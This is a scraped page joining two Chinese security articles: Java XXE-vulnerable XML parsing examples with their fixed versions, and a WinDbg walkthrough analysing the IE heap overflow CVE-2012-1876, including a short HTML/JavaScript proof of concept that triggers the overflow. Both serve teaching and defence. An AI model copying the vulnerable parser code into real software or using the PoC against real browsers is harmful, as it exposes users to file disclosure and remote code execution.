(github.com)](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java%22%20/h)
**XMLReader**
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
return "xmlReader xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
**修复代码**
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// fix code start
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//fix code end
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
**SAXBuilder**
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXBuilder builder = new SAXBuilder();
// org.jdom2.Document document
builder.build(new InputSource(new StringReader(body))); // cause xxe
return "SAXBuilder xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
**修复代码：**
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXBuilder builder = new SAXBuilder();
// fix code start
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// fix code end
// org.jdom2.Document document
builder.build(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
**SAXReader**
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXReader reader = new SAXReader();
// org.dom4j.Document document
reader.read(new InputSource(new StringReader(body))); // cause xxe
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修复代码：
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXReader reader = new SAXReader();
// fix code start
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// fix code end
// org.dom4j.Document document
reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
**SAXParserFactory**
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
**修复代码：**
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
// fix code start
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// fix code start
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
**Digester**
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
Digester digester = new Digester();
digester.parse(new StringReader(body)); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修复代码：
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
Digester digester = new Digester();
// fix code start
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// fix code end
digester.parse(new StringReader(body)); // parse xml
return "Digester xxe security code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
**DocumentBuilderFactory**
**代码1：**
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
**代码2：**
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuilder result = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
// 正常解析XML，需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));
}
}
}
sr.close();
return result.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
**修复代码：**
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
db.parse(is); // parse xml
sr.close();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
**代码3，支持XInclude：**
**何为XInclude**
Xinclude即为XML
Include，其实就是文件包含，其作用很大时候可以使得代码更加简洁，当需要使用其中的内容的时候再把文件包含进来，可以参考php的include
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
NodeList rootNodeList = document.getChildNodes();
response(rootNodeList);
sr.close();
return "DocumentBuilder xinclude xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修复代码;
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
NodeList rootNodeList = document.getChildNodes();
response(rootNodeList);
sr.close();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
**XMLReader &SAXParserFactory**
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
XMLReader xmlReader = saxParser.getXMLReader();
xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修复代码：
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
XMLReader xmlReader = saxParser.getXMLReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
**DocumentHelper**
try {
String body = WebUtils.getRequestBody(req);
DocumentHelper.parseText(body); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修复该漏洞只需升级dom4j到2.1.1及以上，该版本及以上禁用了ENTITY；
不带ENTITY的PoC不能利用，所以禁用ENTITY即可完成修复。
参考文章&代码：
[JoyChou93/java-sec-code: Java web common vulnerabilities and security code
which is base on springboot and spring security
(github.com)](https://github.com/JoyChou93/java-sec-code%22%20/h)
《网络安全java代码审计》
[Java XXE测试用例详解
(qq.com)](https://mp.weixin.qq.com/s/B3ToaH8D7WfZYhIN2xrTDA%22%20/h)
[XXE漏洞原理以及防御方式 - Ruilin (rui0.cn)](http://rui0.cn/archives/993%22%20/h) | 社区文章 |
Author: **xd0ol1 (知道创宇404实验室)**
### 0x00 引子
最近开始要在部门内进行 WinDbg
漏洞分析方面的专题showcase，打算将每次分享的内容整理成文章，希望能写一个系列。另外，鉴于笔者还在学习中，不对的地方还望各位多多指正:D
### 0x01 概述
本文将作为此系列的开篇，首先会提及Windows进程的知识，而后就进入正式的漏洞分析，此次选的是一个IE漏洞（CVE-2012-1876）。需要说明一点，随着微软在自身安全上的不断改进，漏洞利用的难度也越来越大，出于学习目的这里主要关注比较经典的漏洞，虽然有些可能比较老了，但还是很有借鉴意义的。
### 0x02 Windows 进程
下面将通过实际例子对Windows进程做个概述，内容比较基础。
在逆向分析中，进程往往作为基本的调试单元，因此对其的理解是有必要的。这里我们先打开IE浏览器，可以知道对每个选项卡IE都会创建一个子进程来处理，接着我们打开WinDbg并附加到当前的IE页面进程，“|”和“~”命令可用于查看进程和线程的状态，注意前面有个小点的是此时所处的进程和线程，可以看到一个进程中包含有多个线程：
0:012> |
. 0 id: ed8 attach name: C:\Program Files\Internet Explorer\iexplore.exe
0:012> ~
0 Id: ed8.edc Suspend: 1 Teb: 7ffde000 Unfrozen
1 Id: ed8.ee0 Suspend: 1 Teb: 7ffdd000 Unfrozen
2 Id: ed8.ee4 Suspend: 1 Teb: 7ffdc000 Unfrozen
3 Id: ed8.ee8 Suspend: 1 Teb: 7ffdb000 Unfrozen
4 Id: ed8.eec Suspend: 1 Teb: 7ffda000 Unfrozen
5 Id: ed8.ef0 Suspend: 1 Teb: 7ffd9000 Unfrozen
6 Id: ed8.ef4 Suspend: 1 Teb: 7ffd8000 Unfrozen
7 Id: ed8.ef8 Suspend: 1 Teb: 7ffd7000 Unfrozen
8 Id: ed8.efc Suspend: 1 Teb: 7ffd6000 Unfrozen
9 Id: ed8.f00 Suspend: 1 Teb: 7ffd5000 Unfrozen
10 Id: ed8.f04 Suspend: 1 Teb: 7ffd4000 Unfrozen
11 Id: ed8.f08 Suspend: 1 Teb: 7ffd3000 Unfrozen
. 12 Id: ed8.f4c Suspend: 1 Teb: 7ff9f000 Unfrozen
当然，如果需要WinDbg也是可以同时调试多个进程的，更详细的内容我们可以通过“!peb”和“!teb”命令来查看，其中PEB（Process
Environment Block）存放着进程信息，而TEB（Thread Environment
Block）则存放着线程信息。同时，通过“!address”命令可列出进程的地址空间信息，如下是用户模式下从地址0x00000000开始到0x80000000的信息，只给出部分：
0:012> !address
BaseAddr EndAddr+1 RgnSize Type State Protect Usage
------------------------------------------------------------------------------------------- * 0 10000 10000 MEM_FREE PAGE_NOACCESS Free
* 10000 20000 10000 MEM_MAPPED MEM_COMMIT PAGE_READWRITE MemoryMappedFile "PageFile"
* 20000 27000 7000 MEM_MAPPED MEM_COMMIT PAGE_READONLY MemoryMappedFile "PageFile"
......
* 12b0000 12b1000 1000 MEM_IMAGE MEM_COMMIT PAGE_READONLY Image "C:\Program Files\Internet Explorer\iexplore.exe"
|- 12b1000 12bc000 b000 MEM_IMAGE MEM_COMMIT PAGE_EXECUTE_READ Image "C:\Program Files\Internet Explorer\iexplore.exe"
|- 12bc000 12bd000 1000 MEM_IMAGE MEM_COMMIT PAGE_READWRITE Image "C:\Program Files\Internet Explorer\iexplore.exe"
|- 12bd000 1356000 99000 MEM_IMAGE MEM_COMMIT PAGE_READONLY Image "C:\Program Files\Internet Explorer\iexplore.exe"
* 1356000 1360000 a000 MEM_FREE PAGE_NOACCESS Free
* 1360000 172d000 3cd000 MEM_MAPPED MEM_COMMIT PAGE_READONLY MemoryMappedFile "PageFile"
* 172d000 1730000 3000 MEM_FREE PAGE_NOACCESS Free
......
|- 3c0f000 3c10000 1000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [ed8.f04; ~10]
|- 3c10000 3c20000 10000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [ed8.f04; ~10]
* 3c20000 3c21000 1000 MEM_MAPPED MEM_COMMIT PAGE_READONLY MemoryMappedFile "\Device\HarddiskVolume2\Windows\System32\ieapfltr.dat"
|- 3c21000 3fa6000 385000 MEM_MAPPED MEM_COMMIT PAGE_WRITECOPY MemoryMappedFile "\Device\HarddiskVolume2\Windows\System32\ieapfltr.dat"
|- 3fa6000 3fa7000 1000 MEM_MAPPED MEM_COMMIT PAGE_READONLY MemoryMappedFile "\Device\HarddiskVolume2\Windows\System32\ieapfltr.dat"
* 3fa7000 4110000 169000 MEM_FREE PAGE_NOACCESS Free
* 4110000 420a000 fa000 MEM_PRIVATE MEM_RESERVE Stack [ed8.f4c; ~12]
|- 420a000 420c000 2000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE|PAGE_GUARD Stack [ed8.f4c; ~12]
|- 420c000 4210000 4000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [ed8.f4c; ~12]
* 4210000 5fff0000 5bde0000 MEM_FREE PAGE_NOACCESS Free
* 5fff0000 60000000 10000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READ <unclassified>
* 60000000 6af50000 af50000 MEM_FREE PAGE_NOACCESS Free
* 6af50000 6af51000 1000 MEM_IMAGE MEM_COMMIT PAGE_READONLY Image "C:\Windows\System32\mshtml.dll"
|-6af51000 6b488000 537000 MEM_IMAGE MEM_COMMIT PAGE_EXECUTE_READ Image "C:\Windows\System32\mshtml.dll"
......
* 7ffde000 7ffdf000 1000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE TEB [ed8.edc; ~0]
* 7ffdf000 7ffe0000 1000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE PEB [ed8]
* 7ffe0000 7ffe1000 1000 MEM_PRIVATE MEM_COMMIT PAGE_READONLY <unclassified>
|-7ffe1000 7fff0000 f000 MEM_PRIVATE MEM_RESERVE PAGE_NOACCESS <unclassified>
可以看到用户进程空间中一般包含主模块、共享模块、堆栈资源等，相应的虚拟内存页也都有着各自的属性状态。
那么对于这样的进程是如何从无到有创建起来的呢？这就不得不提[PE格式](http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf)了，比如上面的exe、dll模块都是属于这种类型的文件，简单来看PE文件包含了DOS头、PE头、节表以及节数据，二进制数据将按装入内存后的页属性归类到不同的节中，而各个节中的数据按用途又可以被分为导出表、导入表、重定位表等数据块，通过“!dh
[标志]
模块地址”命令可以显示非常详细的PE头信息。当我们运行iexplore.exe的时候，操作系统将分配所需资源并按照此PE文件中的信息完成加载，即进程的创建。一般来说，PE文件的加载过程是由操作系统提供的PE
Loader功能实现的，但我们也可以自己手动实现此过程，比如[ReflectiveLoader](https://github.com/stephenfewer/ReflectiveDLLInjection)这个技术，它就能在当前进程中完成一个独立dll的加载，一些勒索病毒就是用的这个技巧来躲避杀软。我们可以由此技术大体了解下PE
Loader的功能，首先是查找kernel32等模块中的特定函数，即获取模块基址和处理PE格式，而后申请空间写入节数据、处理输入表和重定位表等，最后跳转到执行入口，即模拟原先操作系统的加载。
我们可以简单看下如何获取kernel32模块的基址，这里由查找LDR链实现，即FS:[30] -> _PEB_LDR_DATA ->
_LDR_DATA_TABLE_ENTRY：
0:012> dd fs:[30] L1
003b:00000030 7ffdf000
0:012> dt ntdll!_PEB 7ffdf000
......
+0x003 SpareBits : 0y000
+0x004 Mutant : 0xffffffff Void
+0x008 ImageBaseAddress : 0x012b0000 Void
+0x00c Ldr : 0x77797880 _PEB_LDR_DATA
+0x010 ProcessParameters : 0x00341170 _RTL_USER_PROCESS_PARAMETERS
......
0:012> dt ntdll!_PEB_LDR_DATA 0x77797880
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x3419d0 - 0x3b29d0 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x3419d8 - 0x3b29d8 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x341a60 - 0x3b29e0 ]
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ''
+0x02c ShutdownThreadId : (null)
0:012> dt ntdll!_LDR_DATA_TABLE_ENTRY 0x3419d0
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x341a50 - 0x7779788c ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x341a58 - 0x77797894 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x018 DllBase : 0x012b0000 Void
+0x01c EntryPoint : 0x012b1c9a Void
+0x020 SizeOfImage : 0xa6000
+0x024 FullDllName : _UNICODE_STRING "C:\Program Files\Internet Explorer\iexplore.exe"
+0x02c BaseDllName : _UNICODE_STRING "iexplore.exe"
......
0:012> dt ntdll!_LDR_DATA_TABLE_ENTRY 0x341a50
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x341d48 - 0x3419d0 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x341d50 - 0x3419d8 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x341e40 - 0x7779789c ]
+0x018 DllBase : 0x776c0000 Void
+0x01c EntryPoint : (null)
+0x020 SizeOfImage : 0x13c000
+0x024 FullDllName : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll"
+0x02c BaseDllName : _UNICODE_STRING "ntdll.dll"
......
0:012> dt ntdll!_LDR_DATA_TABLE_ENTRY 0x341d48
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x341e30 - 0x341a50 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x341e38 - 0x341a58 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x342688 - 0x341e40 ]
+0x018 DllBase : 0x76340000 Void
+0x01c EntryPoint : 0x7638bde4 Void
+0x020 SizeOfImage : 0xd4000
+0x024 FullDllName : _UNICODE_STRING "C:\Windows\system32\kernel32.dll"
+0x02c BaseDllName : _UNICODE_STRING "kernel32.dll"
......
这样我们就获取了kernel32模块的基址，接着就可以解析PE格式来继续后面的操作了。总体来看，要更好理解进程的创建需要了解相关的PE文件数据结构以及一些操作系统的数据结构，而WinDbg可以作为其中一个很好的学习工具，当然，完整的进程创建还是比较复杂的，除了这里关注的加载过程，还包括资源的分配管理等。
最后提一下WinDbg，它的相关命令可以参考[这里](http://www.yiiyee.cn/Blog/windbg/)，实际操作几次会熟悉的快点，此外，一定要设置好符号文件，毕竟在没有源码的情况下如果能有符号文件，那么对调试二进制文件来说将有莫大的帮助。
### 0x03 CVE-2012-1876 成因分析
接下来我们将借助WinDbg来详细跟一下CVE-2012-1876这个漏洞的成因，至于利用部分我们将在下回讨论。
1、漏洞简介
这是一个IE浏览器的漏洞，成功利用可实现远程代码执行，在Pwn2own
2012上VUPEN团队就用其攻陷了IE9。错误出在mshtml.dll这个模块的CTableLayout::CalculateMinMax函数里，程序在执行时会以HTML代码中\元素的span属性作为循环控制次数向堆空间写入数据，如果此span值设置的不当，那么就会引发堆溢出问题。
其中mshtml.dll模块是IE中的重要组件，它用来解析页面中的HTML和CSS，我们后续的分析也主要集中在此模块中。如下列出了IE中的主要组件，可参考微软的[说明](https://msdn.microsoft.com/en-us/library/aa741312\(v=vs.85\).aspx)：
图0 Internet
Explorer的主要组件
2、漏洞成因
用到的分析环境为Win7 x86 - IE
8.0.7601.17514，装完系统后默认的就是此IE版本，后面的分析都是在此环境下进行的。这部分内容我们将通过如下的PoC代码来梳理：
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="6" >  </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 666;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>
上述代码的功能还是很清晰的，最开始创建时span的属性值为6，而后通过js中的over_trigger()函数将其动态更新为666，当然，更新后的值可以是任意的，只要能保证溢出就可以了。另外，width的属性值和写入堆空间的内容有关，这个后面会再提。
将PoC保存为html文件并双击打开，会弹出阻止提示，此时用WinDbg附加IE进程，附加列表中会有两个IE进程，选择后一个，即当前选项卡对应的子进程。这里假设你的符号文件都已经配置好了，我们通过“.reload
/f”命令强制加载，“lm”命令可以查看加载的结果。首先我们设置好如下几个断点：
0:011> bp mshtml!CTableLayout::CalculateMinMax
0:011> bp mshtml!_HeapRealloc
0:011> x mshtml!*get*span
6c724645 mshtml!CTableCell::GetAArowSpan = <no type information>
6c62373b mshtml!CTextDisplayBox::GetRectsForSpan = <no type information>
6c623a79 mshtml!CLsClient::GetRectsForSpan = <no type information>
6c724623 mshtml!CTableCell::GetAAcolSpan = <no type information>
6c69a6cb mshtml!CTableCol::GetAAspan = <no type information>
6ca3c470 mshtml!CTableCell::get_colSpan = <no type information>
6c6d28a5 mshtml!CTextBlock::SBlockBuildingState::GetSpan = <no type information>
6c69a66e mshtml!CTableColumnBlock::GetColSpan = <no type information>
6ca3c587 mshtml!CTableCell::get_rowSpan = <no type information>
6c69f824 mshtml!Ptls5::LsGetFirstActiveSpan = <no type information>
6c69a66e mshtml!CTableColumnGroupBlock::GetColSpan = <no type information>
6c69cb19 mshtml!Ptls5::LsGetNextActiveSpan = <no type information>
0:011> bp mshtml!CTableCol::GetAAspan
0:011> bd 1 2
0:011> bl
0 e 6c71a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
1 d 6c7cd7a5 0001 (0001) 0:**** mshtml!_HeapRealloc
2 d 6c69a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan
对于那些记不住的函数，我们可以通过“x”命令来查看一下，错误位置在CTableLayout::CalculateMinMax函数中，所以这个地方肯定要下个断点，又因为是堆溢出，所以_HeapRealloc函数也来个断点，最后的CTableCol::GetAAspan函数是用来获取span属性值的，1和2两个断点目前暂时禁用。“g”命令跑起来，在IE中允许阻止的内容，弹出警告直接确定，回到WinDbg可以看到程序第一次在CTableLayout::CalculateMinMax函数入口断下来了，这是处理最开始创建时span值为6的情况，查看调用栈：
0:011> g
ModLoad: 6d0a0000 6d152000 C:\Windows\System32\jscript.dll
Breakpoint 0 hit
eax=ffffffff ebx=0019fd70 ecx=00412802 edx=ffffffff esi=00000000 edi=0249c914
eip=6c71a078 esp=0249c6b8 ebp=0249c8d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax:
6c71a078 8bff mov edi,edi
0:004> kb
ChildEBP RetAddr Args to Child
0249c6b4 6c71a6b8 0019fd70 0249c948 00000000 mshtml!CTableLayout::CalculateMinMax
0249c8d0 6c710879 0249c948 0249c914 00000001 mshtml!CTableLayout::CalculateLayout+0x276
0249ca7c 6c81566c 0249d998 0249cca8 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720
0249cbb4 6c8118f9 0019fd70 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
......
我们看下CTableLayout::CalculateMinMax函数的声明：
void __thiscall CTableLayout::CalculateMinMax(CTableLayout *theTableLayoutObj, LPVOID lpUnknownStackBuffer);
上述是IDA给出的结果，我们主要关注CTableLayout*这个变量，它是一个指针，由上面的“kb”命令可知其值为0019fd70：
图1
CTableLayout*变量的定义
0:004> ln poi(0019fd70)
(6c619960) mshtml!CTableLayout::`vftable' | (6c619aa0) mshtml!CTableLayoutBlock::`vftable'
Exact matches:
mshtml!CTableLayout::`vftable' = <no type information>
绿色标识的为vftable值，蓝色标识的为span属性值也就是6，黄色标识的为申请的堆空间起始地址，目前还没分配所以为NULL。我们继续：
0:004> bl
0 e 6c71a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
1 d 6c7cd7a5 0001 (0001) 0:**** mshtml!_HeapRealloc
2 d 6c69a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan
0:004> be 1 2
0:004> g
Breakpoint 1 hit
eax=00000000 ebx=00000000 ecx=000000a8 edx=00000000 esi=0019fe0c edi=0019fe00
eip=6c7cd7a5 esp=0249c5ec ebp=0249c604 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!_HeapRealloc:
6c7cd7a5 8bff mov edi,edi
0:004> gu
eax=00000000 ebx=00000000 ecx=77505dd3 edx=0019eb8f esi=0019fe0c edi=0019fe00
eip=6c7e34e2 esp=0249c5f4 ebp=0249c604 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CImplAry::EnsureSizeWorker+0xa1:
6c7e34e2 8bd8 mov ebx,eax
0:004> dd 0019fd70 L30
0019fd70 6c619960 00136dd0 00159800 6c7ce3b8
0019fd80 00000001 00000000 0108080d ffffffff
0019fd90 00000000 00000000 00000000 ffffffff
0019fda0 0001cbc4 0000f424 00000000 00000000
0019fdb0 00000000 00412802 00000000 00000000
0019fdc0 00000000 00000006 00000000 ffffffff
0019fdd0 00000000 ffffffff 6c61a594 00000004
0019fde0 00000004 0018b830 6c61a594 00000018
0019fdf0 00000006 00165700 00000000 00000000
0019fe00 6c61a594 00000000 00000000 0019eb90
0019fe10 00000000 00000000 00000000 00000000
0019fe20 00000000 00000000 00000000 00000000
程序申请了堆空间用于保存column的样式信息，每个样式信息占0x1C字节，有多少个样式信息由span属性值来确定，因此这里申请的堆空间大小为0x1C*6=0xA8，即_HeapRealloc函数入口断下后ecx寄存器的值，函数调用时的入参如果用到寄存器的话一般都是ecx，返回参数一般保存在eax中，同时注意随后分配的初始地址会保存到esi寄存器对应的地址处，即前面的黄色标识处，可以看到此时的值由NULL变为0x0019eb90了。
继续运行程序会在CTableCol::GetAAspan处断下来，也就是获取span值作为写入样式信息时循环的控制次数，函数返回结果保存在eax中，此时的值为6：
0:004> g
Breakpoint 2 hit
eax=00183570 ebx=0019fd70 ecx=00000033 edx=00000006 esi=0019ec38 edi=00183570
eip=6c69a6cb esp=0249c60c ebp=0249c6b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableCol::GetAAspan:
6c69a6cb 8bff mov edi,edi
0:004> gu
eax=00000006 ebx=0019fd70 ecx=00000002 edx=00148528 esi=0019ec38 edi=00183570
eip=6c8af31f esp=0249c610 ebp=0249c6b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x3ac:
6c8af31f 3de8030000 cmp eax,3E8h
再来看下程序向申请的堆空间写入样式信息的过程，我们在起始地址处下个写入断点：
0:004> ba w1 0019eb90
0:004> bl
0 e 6c71a078 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax
1 d 6c7cd7a5 0001 (0001) 0:**** mshtml!_HeapRealloc
2 d 6c69a6cb 0001 (0001) 0:**** mshtml!CTableCol::GetAAspan
3 e 0019eb90 w 1 0001 (0001) 0:****
0:004> g
Breakpoint 3 hit
eax=00010048 ebx=00001004 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=0019eba8
eip=6ca40a49 esp=0249c5f4 ebp=0249c5fc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableColCalc::AdjustForCol+0x2f:
6ca40a49 eb2a jmp mshtml!CTableColCalc::AdjustForCol+0x5b (6ca40a75)
0:004> ub
mshtml!CTableColCalc::AdjustForCol+0x1c:
6ca40a36 85c0 test eax,eax
6ca40a38 7411 je mshtml!CTableColCalc::AdjustForCol+0x31 (6ca40a4b)
6ca40a3a 6a08 push 8
6ca40a3c 57 push edi
6ca40a3d 8bc3 mov eax,ebx
6ca40a3f e83dacbdff call mshtml!CUnitValue::SetValue (6c61b681)
6ca40a44 895e04 mov dword ptr [esi+4],ebx
6ca40a47 891e mov dword ptr [esi],ebx
0:004> dd 0019eb90 L30
0019eb90 00001004 00001004 00001004 00000000
0019eba0 0065006c 002f0000 00010048 00000000
0019ebb0 00000000 00000000 00000000 007a002f
0019ebc0 00630040 00000000 00000000 00000000
0019ebd0 00000000 00000000 007a002f 00630040
0019ebe0 00000000 00000000 00000000 00000000
0019ebf0 00000000 0019006c ad860000 00000000
0019ec00 00000000 00000000 00000000 00000000
0019ec10 05000005 00009841 00000000 00000000
0019ec20 00000000 00000000 00000000 00000000
0019ec30 00000000 00000000 2773a3b8 0c009846
0019ec40 00000000 001410a0 005c0044 00002001
